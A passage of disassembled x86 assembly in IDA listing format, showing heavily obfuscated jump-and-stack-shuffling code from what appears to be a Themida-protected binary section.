pop cx
rcr byte ptr [esp+1Ah+var_1A], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594045: ; CODE XREF: sub_59196D+3D4Dj
sub edx, esi
xchg edx, esi
pop edx
sub esi, 768481Fh
sub esi, 0E4323218h
jmp loc_58B427
; ---------------------------------------------------------------------------
loc_59405B: ; CODE XREF: sub_59196D-27A9j
pop esi
add esp, 4
dec ebp
inc ebp
jmp loc_5964D5
; ---------------------------------------------------------------------------
loc_594069: ; CODE XREF: sub_59196D+4ED6j
xchg esi, [esp+18h+var_1A+2]
jmp loc_591323
; ---------------------------------------------------------------------------
loc_594071: ; CODE XREF: sub_59196D-52F1j
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_58DDEF
; ---------------------------------------------------------------------------
loc_59407C: ; CODE XREF: sub_59196D+64BCj
mov edx, 4
sub esi, edx
pop edx
xchg esi, [esp+0]
mov esp, [esp+0]
mov [esp+0], ebx
mov ecx, [esp+0]
add esp, 4
push ecx
jmp loc_5979F6
; ---------------------------------------------------------------------------
push dword ptr [esp+0]
pop ecx
push 7C47h
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
push esi
jmp loc_595910
; ---------------------------------------------------------------------------
loc_5940B5: ; CODE XREF: sub_59196D+2B40j
add ebx, edi
mov edi, [esp+8+var_8]
add esp, 4
push 1935h
mov [esp+8+var_8], ecx
mov ecx, 2
sub ebx, ecx
pop ecx
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov word ptr [esp+4+var_4], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5940DF: ; CODE XREF: sub_59196D+56B9j
mov edi, [esp+4+var_4]
add esp, 4
add esp, 4
jmp sub_58F469
; ---------------------------------------------------------------------------
loc_5940F0: ; CODE XREF: sub_59196D-2A09j
jmp loc_594962
; ---------------------------------------------------------------------------
loc_5940F5: ; CODE XREF: sub_59196D-6364j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5940FA: ; CODE XREF: sub_59196D-62E5j
add edx, 4
xchg edx, [esp+1Ch+var_1E+2]
pop esp
or [edi+1Ch], ebx
push [esp+18h+var_1A+2]
pop ebx
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594113: ; CODE XREF: sub_59196D+400Ej
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_591BFA
; ---------------------------------------------------------------------------
loc_594127: ; CODE XREF: sub_59196D-6570j
mov word ptr [esp-4+arg_0], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594130: ; CODE XREF: sub_59196D-5E90j
mov [esp+18h+var_1A+2], ebx
mov bl, 0B7h
add cl, 0F8h
jmp loc_594FB8
; ---------------------------------------------------------------------------
loc_59413D: ; CODE XREF: sub_59196D+4637j
pop eax
neg eax
jns loc_595446
sub eax, 0E980EC00h
mov ecx, eax
pop eax
jmp loc_58F093
; ---------------------------------------------------------------------------
loc_594153: ; CODE XREF: sub_59196D+2E7Fj
sub ebx, 352833DFh
jl loc_5941D3
add ebx, 71454330h
mov ecx, ebx
pop ebx
sub al, 0FFh
loc_59416A: ; CODE XREF: sub_59196D-460Aj
; sub_59196D:loc_597882j
sub cl, 5Ch
jmp loc_594CB5
; ---------------------------------------------------------------------------
loc_594172: ; CODE XREF: sub_59196D+1A4Aj
sub esp, 4
mov [esp+14h+var_16+2], ebp
mov ebp, 16CC48A0h
jmp loc_58C2B5
; ---------------------------------------------------------------------------
loc_594185: ; CODE XREF: sub_59196D+7EAj
sub ebx, 19CB587Ah
jmp loc_5976F2
; ---------------------------------------------------------------------------
loc_594190: ; CODE XREF: sub_59196D+2E6Ej
push ebx
push edx
jmp loc_593D62
; ---------------------------------------------------------------------------
loc_594197: ; CODE XREF: sub_59196D+2DFj
jz loc_5948BC
jmp loc_5916F4
; ---------------------------------------------------------------------------
loc_5941A2: ; CODE XREF: sub_59196D+86j
mov ax, word ptr [esp+26h+var_26]
push 2227h
mov [esp+2Ah+var_2A], edx
push 6DC4h
mov [esp+2Eh+var_2E], esp
jmp loc_58F59D
; ---------------------------------------------------------------------------
loc_5941BB: ; CODE XREF: sub_59196D-45ABj
neg al
jmp loc_5975B6
; ---------------------------------------------------------------------------
loc_5941C2: ; CODE XREF: sub_59196D-53Cj
jo loc_598352
sub ecx, 9336F242h
jmp near ptr dword_58C894+18h
; ---------------------------------------------------------------------------
loc_5941D3: ; CODE XREF: sub_59196D+27ECj
add ebx, 71454330h
mov ecx, ebx
pop ebx
jmp loc_59816F
; ---------------------------------------------------------------------------
loc_5941E1: ; DATA XREF: Themida_:0058B118o
push [esp+0Ch+var_C]
pop eax
sub esp, 4
mov [esp+10h+var_12+2], eax
push 421Bh
mov [esp+14h+var_16+2], esp
add [esp+14h+var_16+2], 4
mov eax, [esp+14h+var_16+2]
jmp loc_593F2C
; ---------------------------------------------------------------------------
lodsd
jmp loc_58C4B0
; ---------------------------------------------------------------------------
loc_59420B: ; CODE XREF: sub_59196D+1FCFj
; sub_59196D+59FAj
push edx
sub esp, 4
mov [esp+3Eh+var_40+2], ecx
push 6F5B747Fh
mov ecx, [esp+42h+var_44+2]
add esp, 4
not ecx
xchg edi, ecx
jmp loc_595607
; ---------------------------------------------------------------------------
loc_594229: ; CODE XREF: sub_59196D-33B3j
pop ebp
jmp loc_58BC7A
; ---------------------------------------------------------------------------
loc_59422F: ; CODE XREF: sub_59196D+54AEj
add esp, 4
sub esp, 4
mov [esp+14h+var_16+2], eax
push esi
mov esi, 152A31EEh
push esi
mov esi, 51455CDEh
mov eax, esi
pop esi
xor eax, esi
mov esi, [esp+18h+var_1A+2]
push ebx
jmp loc_5957A5
; ---------------------------------------------------------------------------
loc_594252: ; CODE XREF: sub_59196D-337Dj
push 2EF7h
mov [esp+18h+var_1A+2], esi
push 4
jmp loc_595E28
; ---------------------------------------------------------------------------
loc_594264: ; CODE XREF: sub_59196D+1EFFj
pop ecx
xor ebx, [esp+14h+var_16+2]
xor [esp+14h+var_16+2], ebx
jmp loc_58CD63
; ---------------------------------------------------------------------------
loc_594270: ; CODE XREF: sub_59196D-5C56j
not [esp+2Ch+var_2E+2]
pop esi
inc esi
jmp loc_58BE08
; ---------------------------------------------------------------------------
loc_59427A: ; CODE XREF: sub_59196D+2DCBj
shr ebx, 1
push edi
mov edi, 37766A0Fh
or ebx, edi
pop edi
add ebx, 0A902C5Ch
add ebp, 622B548Bh
add ebp, ebx
jmp loc_593EDE
; ---------------------------------------------------------------------------
loc_594298: ; CODE XREF: sub_59196D-163Fj
sub eax, 4F8B3455h
pop ebx
xor ebx, eax
pop dword ptr [eax]
jmp loc_5953D0
; ---------------------------------------------------------------------------
lodsd
push ecx
push esi
jmp loc_5908FD
; ---------------------------------------------------------------------------
loc_5942AF: ; CODE XREF: sub_59196D+4334j
push esi
push ebp
mov ebp, 4
mov esi, ebp
pop ebp
add edi, esi
pop esi
push edx
jmp loc_592CCF
; ---------------------------------------------------------------------------
loc_5942C2: ; CODE XREF: sub_59196D-3811j
; sub_59196D-1A87j
push esi
push [esp+14h+var_12+2]
mov esi, [esp+18h+var_1A+2]
add esp, 4
pop [esp+14h+var_16+2]
jmp loc_597009
; ---------------------------------------------------------------------------
loc_5942D5: ; CODE XREF: sub_59196D+24A0j
inc esi
push ecx
mov ecx, 0D2D9F070h
sub esi, ecx
pop ecx
jmp loc_597B0B
; ---------------------------------------------------------------------------
loc_5942E4: ; CODE XREF: sub_59196D+3FE7j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+2Ch+var_2E+2]
pop esp
add edx, 2
xchg edx, [esp+28h+var_2A+2]
pop esp
mov ax, word ptr [esp+24h+var_26+2]
sub esp, 4
mov [esp+28h+var_2A+2], ebp
mov ebp, esp
add ebp, 4
push ebx
push 2206h
mov [esp+30h+var_32+2], edi
mov edi, 2
push edi
pop ebx
jmp loc_58E38A
; ---------------------------------------------------------------------------
loc_594322: ; CODE XREF: sub_59196D+3759j
add ebx, eax
pop eax
sub esp, 4
mov [esp+30h+var_32+2], eax
mov eax, 1
add [ebx], eax
pop eax
push [esp+2Ch+var_2E+2]
pop ebx
add esp, 4
loc_59433D: ; CODE XREF: sub_59196D-356Dj
push 6DF2h
mov [esp+2Ch+var_2E+2], ecx
sub esp, 4
mov [esp+30h+var_32+2], ebx
sub esp, 4
mov [esp+34h+var_36+2], eax
jmp loc_58BFB9
; ---------------------------------------------------------------------------
loc_594359: ; DATA XREF: Themida_:0058B1ACo
push [esp+34h+var_36+2]
mov ecx, [esp+0]
push eax
jmp loc_595E5B
; ---------------------------------------------------------------------------
loc_594365: ; CODE XREF: sub_59196D+83Ej
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+20h+var_22+2]
pop eax
push 4A27h
mov [esp+24h+var_26+2], edi
push 4715h
push esp
pop [esp+2Ch+var_2E+2]
add [esp+28h+var_2A+2], 4
pop edi
add edi, 4
sub esp, 4
mov [esp+28h+var_2A+2], eax
mov eax, 36052915h
shr eax, 2
xor eax, 0D814A41h
add edi, eax
pop eax
xor edi, [esp+24h+var_26+2]
jmp loc_594F4D
; ---------------------------------------------------------------------------
align 2
clc
push ebx
mov bl, 74h
sub al, 0DCh
add al, bl
add al, 0DCh
jmp loc_596CC6
; ---------------------------------------------------------------------------
loc_5943B9: ; CODE XREF: sub_59196D-146Cj
xor eax, [esp+44h+var_44]
jmp loc_591A89
; ---------------------------------------------------------------------------
loc_5943C1: ; CODE XREF: sub_59196D-34Ej
push 24D5h
mov [esp+3Eh+var_40+2], edi
push 26BE48B7h
jmp loc_58EF5D
; ---------------------------------------------------------------------------
loc_5943D3: ; CODE XREF: sub_59196D+8F8j
add ebp, 4
xor ebp, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], ebp
jmp loc_595074
; ---------------------------------------------------------------------------
loc_5943E1: ; CODE XREF: sub_59196D+1969j
push ax
inc byte ptr [esp+0]
pop ax
sub al, 0EBh
add al, 0DFh
sub al, 0D9h
jmp loc_5978CA
; ---------------------------------------------------------------------------
loc_5943F3: ; CODE XREF: sub_59196D-FB5j
push ebx
mov ebx, 57B36C44h
xor edi, ebx
pop ebx
mov ebp, [esp+12h+var_12]
add esp, 4
add eax, edi
pop edi
sub esp, 4
mov [esp+0], esi
sub esp, 4
jmp loc_591598
; ---------------------------------------------------------------------------
loc_594419: ; CODE XREF: sub_59196D+3C4Fj
pop dword ptr [edi+24h]
loc_59441C: ; CODE XREF: sub_59196D-361Cj
sub esp, 4
mov [esp+12h+var_12], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp+12h+var_12]
xor [esp+12h+var_12], ebp
jmp loc_590564
; ---------------------------------------------------------------------------
loc_594438: ; CODE XREF: sub_59196D-25B7j
push esi
mov esi, 4707615h
mov ebp, esi
pop esi
inc ebp
jp loc_58FBF2
add ebp, 18120B05h
jg loc_593C54
jmp loc_5957EB
; ---------------------------------------------------------------------------
sub eax, 14C83538h
mov ch, al
mov ch, bl
loc_594462: ; CODE XREF: sub_59196D+1EBAj
mov [esp+12h+var_12], eax
push dword ptr [esp+4]
mov eax, [esp+16h+var_16]
add esp, 4
pop [esp+12h+var_12]
jmp loc_594FFB
; ---------------------------------------------------------------------------
loc_594477: ; CODE XREF: sub_59196D+2FB7j
add eax, 1456CAF5h
add ebp, eax
pop eax
add edi, ebp
pop ebp
xchg edi, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
inc [esp+6+var_8+2]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594491: ; CODE XREF: sub_59196D-4B74j
xchg esi, [esp+20h+var_22+2]
pop esp
mov [esp+1Ch+var_1E+2], ecx
mov ecx, 0C92534Ch
mov edi, 0F36DACB8h
add edi, ecx
mov ecx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_5940B5
; ---------------------------------------------------------------------------
loc_5944B2: ; CODE XREF: sub_59196D-63EEj
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+18h+var_1A+2]
pop esp
push ecx
mov ecx, 23A16EADh
jmp loc_59637F
; ---------------------------------------------------------------------------
loc_5944CE: ; CODE XREF: sub_59196D-2FFBj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5944D3: ; CODE XREF: sub_59196D:loc_591CE8j
push eax
mov al, 1
xor cl, al
pop eax
sub al, 86h
jmp loc_5946F6
; ---------------------------------------------------------------------------
loc_5944E0: ; CODE XREF: sub_59196D+A46j
add al, cl
add al, 32h
mov ecx, [esp+0Ch+var_C]
add esp, 4
push 4142h
jmp loc_58DA03
; ---------------------------------------------------------------------------
loc_5944F4: ; CODE XREF: sub_59196D+16FDj
mov [esp-8+arg_4], esi
pop ebx
pop esi
sub esp, 4
jmp loc_5929C3
; ---------------------------------------------------------------------------
loc_594504: ; CODE XREF: sub_59196D+49A6j
push 6BF7h
jmp loc_59649A
; ---------------------------------------------------------------------------
loc_59450E: ; CODE XREF: sub_59196D+3765j
add edx, 4
add edx, 4
xor edx, [esp-8+arg_4]
xor [esp-8+arg_4], edx
xor edx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
sub eax, 3D0644F2h
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594530: ; CODE XREF: sub_59196D-1E59j
jbe loc_58DD2A
jmp loc_594CF3
; ---------------------------------------------------------------------------
loc_59453B: ; CODE XREF: sub_59196D-4C0Fj
push 59Ah
mov [esp+3Eh+var_40+2], edx
push eax
mov al, 8Eh
push ecx
mov cl, 94h
jmp loc_597F9F
; ---------------------------------------------------------------------------
loc_59454E: ; CODE XREF: sub_59196D+447j
pop ebx
push esi
push eax
mov eax, 2AD4C16h
mov esi, eax
pop eax
add esi, 0FD52B3ECh
add ecx, esi
pop esi
xchg ecx, [esp+0]
jmp loc_58EA66
; ---------------------------------------------------------------------------
loc_59456A: ; CODE XREF: sub_59196D-1D6Fj
; sub_59196D-857j
sub ebp, 2BE956F0h
jmp loc_58D257
; ---------------------------------------------------------------------------
loc_594575: ; CODE XREF: sub_59196D-2160j
sub ecx, 0A9F7190Ah
mov edi, ecx
pop ecx
shl edi, 5
add edi, 0FD03EF9Ah
or ebx, edi
mov edi, [esp+12h+var_12]
jmp loc_59775C
; ---------------------------------------------------------------------------
loc_594591: ; CODE XREF: sub_59196D+42B4j
push ebx
sub esp, 4
mov [esp+1Ah+var_1A], ecx
jmp loc_58F239
; ---------------------------------------------------------------------------
loc_59459D: ; CODE XREF: sub_59196D-2C92j
dec ebp
jmp loc_58DFE5
; ---------------------------------------------------------------------------
loc_5945A3: ; CODE XREF: sub_59196D+559Fj
sub al, dh
add al, 3Fh
mov edx, [esp+20h+var_22+2]
add esp, 4
add al, bl
push 7D68h
mov [esp+20h+var_22+2], ecx
jmp loc_5953D5
; ---------------------------------------------------------------------------
loc_5945BF: ; CODE XREF: sub_59196D-1764j
pop esp
sub bl, 0C9h
push 187Dh
mov [esp+1Ch+var_1E+2], ecx
sub esp, 4
mov [esp+20h+var_22+2], ebx
mov bh, 76h
jmp loc_595FBF
; ---------------------------------------------------------------------------
loc_5945D8: ; CODE XREF: sub_59196D-2547j
push esp
push [esp-0Ah+arg_4+2]
pop edx
jmp sub_58D10E
; ---------------------------------------------------------------------------
loc_5945E2: ; CODE XREF: sub_58CE9F+Ej
add ebp, 4
xchg ebp, [esp-0Ah+arg_4+2]
pop esp
push edi
jmp sub_58C816
; ---------------------------------------------------------------------------
loc_5945EF: ; CODE XREF: sub_59196D+43D8j
not ecx
sub ecx, 0A2E71A5Dh
jmp loc_59565B
; ---------------------------------------------------------------------------
loc_5945FC: ; CODE XREF: sub_59196D+12B4j
add ebp, edi
mov edi, [esp+6+var_8+2]
add esp, 4
add ebp, 2
xchg ebp, [esp+2+var_4+2]
pop esp
btr [esp+0], ax
pushf
jmp loc_590A14
; ---------------------------------------------------------------------------
loc_594616: ; CODE XREF: sub_59196D-1C06j
; sub_59196D+55FCj
dec esi
add esi, 47C76162h
inc esi
sub esi, 6C6F4ADEh
xor esi, 34A82194h
add edx, esi
jmp loc_58B945
; ---------------------------------------------------------------------------
loc_594631: ; CODE XREF: sub_59196D-1F81j
; sub_59196D+4AF1j
add eax, 0E120F20Fh
mov ecx, eax
pop eax
mov edi, ecx
pop ecx
shl edi, 1
dec edi
dec edi
push ebx
mov ebx, 0FFFFFFFFh
sub edi, ebx
pop ebx
push edi
jmp loc_58FCC2
; ---------------------------------------------------------------------------
loc_59464F: ; CODE XREF: sub_59196D:loc_592335j
dec esi
jmp loc_591717
; ---------------------------------------------------------------------------
loc_594655: ; CODE XREF: sub_59196D+33FAj
xor dl, bl
pop ebx
add cl, dl
pop edx
push ebx
mov bh, cl
mov al, bh
pop ebx
pop ecx
xor al, 93h
jbe loc_58D3B7
not al
shr al, 3
js loc_5939BB
jmp loc_5902E5
; ---------------------------------------------------------------------------
loc_59467A: ; CODE XREF: sub_59196D+6242j
add ecx, 4
jmp loc_595616
; ---------------------------------------------------------------------------
loc_594685: ; CODE XREF: sub_59196D-5886j
pop edi
pop ecx
jmp loc_5946CD
; ---------------------------------------------------------------------------
loc_59468C: ; CODE XREF: sub_59196D+504j
add al, 0B5h
add bl, al
pop eax
sub bl, 1
push ecx
push eax
mov ah, 9Ah
xor ah, 0DAh
inc ah
jnp loc_5956BF
jmp loc_58FCD1
; ---------------------------------------------------------------------------
loc_5946A8: ; CODE XREF: sub_59196D-1214j
add edx, ecx
jmp loc_58B571
; ---------------------------------------------------------------------------
loc_5946AF: ; CODE XREF: sub_59196D-2B0Dj
add edx, esi
pop esi
jmp loc_5919DC
; ---------------------------------------------------------------------------
loc_5946B7: ; CODE XREF: sub_59196D+5489j
xor eax, ecx
mov ecx, [esp+0]
add esp, 4
push ecx
push 4D045A8Fh
jmp loc_590432
; ---------------------------------------------------------------------------
loc_5946CD: ; CODE XREF: sub_59196D+2D1Aj
add ecx, 4
push ebp
mov ebp, 71865027h
sub ebp, 71865023h
add ecx, ebp
jmp loc_5969CC
; ---------------------------------------------------------------------------
loc_5946E6: ; CODE XREF: sub_59196D+63EEj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5946EB: ; CODE XREF: sub_59196D-3CB1j
; sub_59196D+5A08j
xor ecx, 2600001Ah
jmp loc_592219
; ---------------------------------------------------------------------------
loc_5946F6: ; CODE XREF: sub_59196D+2B6Ej
add al, cl
add al, 86h
pop ecx
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
mov bl, 9
jmp loc_597C6A
; ---------------------------------------------------------------------------
loc_59470B: ; CODE XREF: sub_59196D-5CC9j
xor cl, 2Fh
add cl, 14h
sub bh, cl
jmp loc_59395C
; ---------------------------------------------------------------------------
loc_594718: ; CODE XREF: sub_59196D-A14j
neg bl
dec bl
not bl
jmp loc_59269D
; ---------------------------------------------------------------------------
loc_594723: ; CODE XREF: sub_59196D+1348j
push esi
mov esi, 598518BFh
mov ebx, esi
pop esi
or ebx, 18FC690Ch
or ebx, 0CE5367Fh
jmp loc_59427A
; ---------------------------------------------------------------------------
loc_59473D: ; CODE XREF: sub_59196D-40D4j
xchg eax, [esp+58h+var_5A+2]
pop esp
mov [esp+54h+var_54], ecx
jmp loc_58D282
; ---------------------------------------------------------------------------
loc_594749: ; CODE XREF: sub_59196D+22E2j
sub ebx, edi
pop edi
sub ecx, ebx
mov ebx, [esp+18h+var_1A+2]
push ebx
jmp loc_58CDFE
; ---------------------------------------------------------------------------
loc_594757: ; CODE XREF: sub_59196D-445Cj
sub esp, 4
mov [esp+24h+var_26+2], esp
add [esp+24h+var_26+2], 4
pop ebx
add ebx, 4
push ebp
push ebx
jmp loc_58B549
; ---------------------------------------------------------------------------
loc_594772: ; CODE XREF: sub_59196D+4071j
push dword ptr [edi+eax*4]
push [esp+2Ch+var_2E+2]
push [esp+30h+var_32+2]
jmp loc_5949E5
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+34h+var_36+2]
push 0EA8h
mov [esp+0], edx
mov edx, esp
push 73C8h
mov [esp+3Ch+var_3C], edi
push ecx
jmp loc_595820
; ---------------------------------------------------------------------------
loc_59479C: ; CODE XREF: sub_59196D+382Cj
mov eax, [esp+40h+var_40]
jmp loc_58C0BD
; ---------------------------------------------------------------------------
loc_5947A4: ; CODE XREF: sub_59196D+39E2j
sub eax, edx
jmp loc_5949A6
; ---------------------------------------------------------------------------
loc_5947AB: ; CODE XREF: sub_59196D-3C35j
add edx, ebp
mov ebp, [esp+28h+var_2A+2]
add esp, 4
sub edx, 698C1089h
jmp loc_595344
; ---------------------------------------------------------------------------
loc_5947BE: ; CODE XREF: sub_59196D+3332j
mov ebp, 35DA6E3Eh
or ebp, 79A764AAh
sub esp, 4
jmp loc_59270A
; ---------------------------------------------------------------------------
loc_5947D1: ; CODE XREF: sub_59196D+4E78j
xor bh, 0DDh
xor cl, bh
pop ebx
xor al, cl
pop ecx
push edx
jmp loc_594190
; ---------------------------------------------------------------------------
loc_5947E0: ; CODE XREF: sub_59196D-5549j
xor ebx, 4F201910h
sub ebx, 0FFFFFFFFh
shr ebx, 4
jmp loc_594153
; ---------------------------------------------------------------------------
loc_5947F1: ; CODE XREF: sub_59196D+1A74j
pop ecx
push 2EB5h
mov [esp+0], edx
mov edx, 38512921h
sub edx, 3851291Dh
add ecx, edx
pop edx
push edi
jmp loc_596962
; ---------------------------------------------------------------------------
loc_59480E: ; CODE XREF: sub_59196D+52E4j
inc esi
jmp loc_58FDC9
; ---------------------------------------------------------------------------
loc_594814: ; CODE XREF: sub_59196D-5EBj
add edx, 4
push edi
jmp loc_592A86
; ---------------------------------------------------------------------------
loc_594820: ; CODE XREF: sub_59196D+5BCEj
add esp, 4
sub eax, ecx
mov ecx, [esp+24h+var_26+2]
add esp, 4
jmp loc_5968C9
; ---------------------------------------------------------------------------
loc_594830: ; CODE XREF: sub_59196D+60F6j
add ecx, 4
add ecx, 4
xchg ecx, [esp+20h+var_22+2]
pop esp
add eax, 2
jmp loc_58E848
; ---------------------------------------------------------------------------
loc_594845: ; CODE XREF: sub_59196D-3D30j
jmp loc_590321
; ---------------------------------------------------------------------------
loc_59484A: ; CODE XREF: sub_590BE0-4DF5j
add esp, 4
push [esp+18h+var_1A+2]
pop eax
add esp, 4
jmp loc_58B987
; ---------------------------------------------------------------------------
loc_59485C: ; CODE XREF: sub_59196D+3323j
mov edx, [esp+14h+var_16+2]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp+18h+var_1A+2]
xor [esp+18h+var_1A+2], ecx
jmp loc_58E967
; ---------------------------------------------------------------------------
loc_594879: ; CODE XREF: sub_59196D-2CBDj
add esp, 4
add ebx, eax
jmp loc_59385A
; ---------------------------------------------------------------------------
mov eax, [esp+1Ch+var_1E+2]
sub esp, 4
mov [esp+20h+var_22+2], esi
jmp loc_594FA5
; ---------------------------------------------------------------------------
loc_594891: ; CODE XREF: sub_59196D+3CDAj
pop ebx
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp sub_59192A
; ---------------------------------------------------------------------------
loc_5948A0: ; CODE XREF: sub_59196D-11ABj
push ebx
not [esp+1Ch+var_1E+2]
pop ebx
xor ebx, 430C39ABh
jno loc_59344D
neg ebx
jle loc_59246B
inc ebx
or al, 5Bh
loc_5948BC: ; CODE XREF: sub_59196D:loc_594197j
jmp loc_5961F8
; ---------------------------------------------------------------------------
loc_5948C1: ; CODE XREF: sub_59196D-60C8j
; sub_59196D-26Dj
or edx, eax
shl edx, 1
push 48D4h
mov [esp+18h+var_1A+2], ecx
jmp loc_593E78
; ---------------------------------------------------------------------------
loc_5948D2: ; CODE XREF: sub_59196D+8CAj
mov esi, ebx
mov eax, esi
push [esp+2Ch+var_2E+2]
mov esi, [esp+30h+var_32+2]
jmp loc_58D700
; ---------------------------------------------------------------------------
loc_5948E1: ; CODE XREF: sub_59196D+C73j
neg ebx
dec ebx
xor ebx, 157E69D7h
push edi
mov edi, 15391472h
xor ebx, edi
pop edi
add ebx, 1CB43435h
add eax, ebx
pop ebx
xchg eax, [esp+20h+var_22+2]
pop esp
push edi
jmp loc_594940
; ---------------------------------------------------------------------------
loc_594906: ; CODE XREF: sub_59196D-61E1j
xor ebp, edx
pop edx
dec ebp
and ebp, 2527445Bh
or ebp, 568C18A3h
neg ebp
or ebp, 1D7F2D44h
push eax
mov eax, 4E2945C2h
jmp loc_594477
; ---------------------------------------------------------------------------
loc_594929: ; CODE XREF: sub_59196D+32EBj
mov [esp+1Ch+var_1E+2], edx
mov dl, 56h
add cl, dl
mov edx, [esp+1Ch+var_1E+2]
add esp, 4
sub al, cl
jmp loc_595601
; ---------------------------------------------------------------------------
loc_594940: ; CODE XREF: sub_59196D+2F94j
mov edi, 6CED02F9h
add ebx, edi
jmp loc_595AB4
; ---------------------------------------------------------------------------
loc_59494C: ; CODE XREF: sub_59196D-4C58j
; sub_59196D-419Bj
push ebx
xor [esp+42h+var_44+2], 2D2B71E3h
jmp loc_592E34
; ---------------------------------------------------------------------------
loc_594959: ; CODE XREF: sub_59196D-2F06j
shr byte ptr [esp+0Ch+var_C], cl
pushf
jmp loc_5905A5
; ---------------------------------------------------------------------------
loc_594962: ; CODE XREF: sub_59196D:loc_5940F0j
sub edi, 314C34BCh
mov ebx, edi
push [esp-10h+arg_C]
pop edi
add esp, 4
jmp loc_595C0C
; ---------------------------------------------------------------------------
loc_594979: ; CODE XREF: sub_59196D-52E5j
xchg esi, [esp+0]
mov esp, [esp+0]
mov ecx, [esp+0]
jmp loc_593D93
; ---------------------------------------------------------------------------
loc_594987: ; CODE XREF: sub_59196D-2047j
sub ebp, 0FF7D7ECDh
sub edx, 53815C19h
add edx, ebp
add edx, 53815C19h
mov ebp, [esp+20h+var_22+2]
add esp, 4
jmp loc_58FB90
; ---------------------------------------------------------------------------
loc_5949A6: ; CODE XREF: sub_59196D+2E39j
pop edx
xor ebx, eax
jmp loc_58CDC7
; ---------------------------------------------------------------------------
loc_5949AE: ; CODE XREF: sub_59196D-6292j
; sub_59196D-261Aj
mov ebx, edx
push [esp+18h+var_1A+2]
pop edx
add esp, 4
xor esi, ebx
mov ebx, [esp+14h+var_16+2]
add esp, 4
and ecx, esi
push [esp+10h+var_12+2]
jmp loc_58D19A
; ---------------------------------------------------------------------------
loc_5949CC: ; CODE XREF: sub_59196D+6978j
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp+14h+var_16+2]
xor [esp+14h+var_16+2], ebp
jmp loc_595316
; ---------------------------------------------------------------------------
loc_5949E5: ; CODE XREF: sub_59196D+2E0Ej
mov eax, [esp+34h+var_36+2]
push ebp
jmp loc_594F98
; ---------------------------------------------------------------------------
loc_5949EE: ; CODE XREF: sub_59196D-5B6Aj
add eax, 5E827D35h
add eax, edi
jmp loc_58FC0C
; ---------------------------------------------------------------------------
loc_5949FA: ; CODE XREF: sub_59196D+5312j
add ch, bh
push edx
mov dl, 63h
shr dl, 3
dec dl
shr dl, 2
xchg ah, dl
not ah
xchg ah, dl
jmp loc_597C83
; ---------------------------------------------------------------------------
loc_594A12: ; CODE XREF: sub_59196D-2DEFj
push 7C72h
mov [esp+0], ebx
mov bh, 9Ah
xor cl, bh
pop ebx
dec cl
sub esp, 4
mov [esp+0], ebx
jmp loc_58C2F7
; ---------------------------------------------------------------------------
loc_594A2F: ; CODE XREF: sub_59196D+9F1j
push edx
jmp loc_597C40
; ---------------------------------------------------------------------------
loc_594A35: ; CODE XREF: sub_58FC53-2E36j
add bl, 0FAh
xor cl, bl
pop ebx
add al, 0BDh
sub al, cl
sub al, 0BDh
pop ecx
push 3800h
mov [esp+10h+var_12+2], ecx
mov ch, 24h
push ebx
mov bh, 5Ch
dec bh
add bh, 1Ch
jmp loc_597CF5
; ---------------------------------------------------------------------------
loc_594A59: ; CODE XREF: sub_59196D+1DA8j
mov ebp, 2
mov edx, ebp
pop ebp
jmp loc_58BEFC
; ---------------------------------------------------------------------------
loc_594A66: ; CODE XREF: sub_59196D+F8Dj
mov [esp+32h+var_32], ecx
push 800h
jmp loc_5929B7
; ---------------------------------------------------------------------------
loc_594A73: ; CODE XREF: sub_59196D+1E18j
mov ebp, 4
add edx, 74AB09ACh
add edx, ebp
sub edx, 74AB09ACh
pop ebp
xor edx, [esp+30h+var_32+2]
xor [esp+30h+var_32+2], edx
xor edx, [esp+30h+var_32+2]
mov esp, [esp+30h+var_32+2]
jmp loc_5920D5
; ---------------------------------------------------------------------------
loc_594A98: ; CODE XREF: sub_59196D-216j
pop ecx
sub edx, 0FFFFFFFFh
jmp loc_5973C8
; ---------------------------------------------------------------------------
loc_594AA1: ; CODE XREF: sub_59196D+66CFj
add edx, 4
add edx, 4
xchg edx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
or eax, eax
jnz loc_58D266
push ecx
push edi
push eax
mov eax, 768E2DBDh
and eax, 2140FB1h
sub eax, 672F230Dh
jz loc_593D22
not eax
jmp loc_58E8F2
; ---------------------------------------------------------------------------
loc_594ADA: ; CODE XREF: sub_59196D+42A8j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594ADF: ; CODE XREF: sub_59196D-38A8j
pop esp
mov [esp+1Eh+var_1E], ebp
jmp loc_58DC10
; ---------------------------------------------------------------------------
loc_594AE8: ; CODE XREF: sub_59196D-44Cj
sub esp, 4
mov [esp+36h+var_36], esi
not [esp+36h+var_36]
pop esi
jmp loc_59865E
; ---------------------------------------------------------------------------
loc_594AFA: ; CODE XREF: sub_59196D-2DC0j
dec ch
push dx
push cx
mov cl, 0C0h
mov dh, cl
jmp loc_58DF5A
; ---------------------------------------------------------------------------
loc_594B09: ; CODE XREF: sub_59196D-1206j
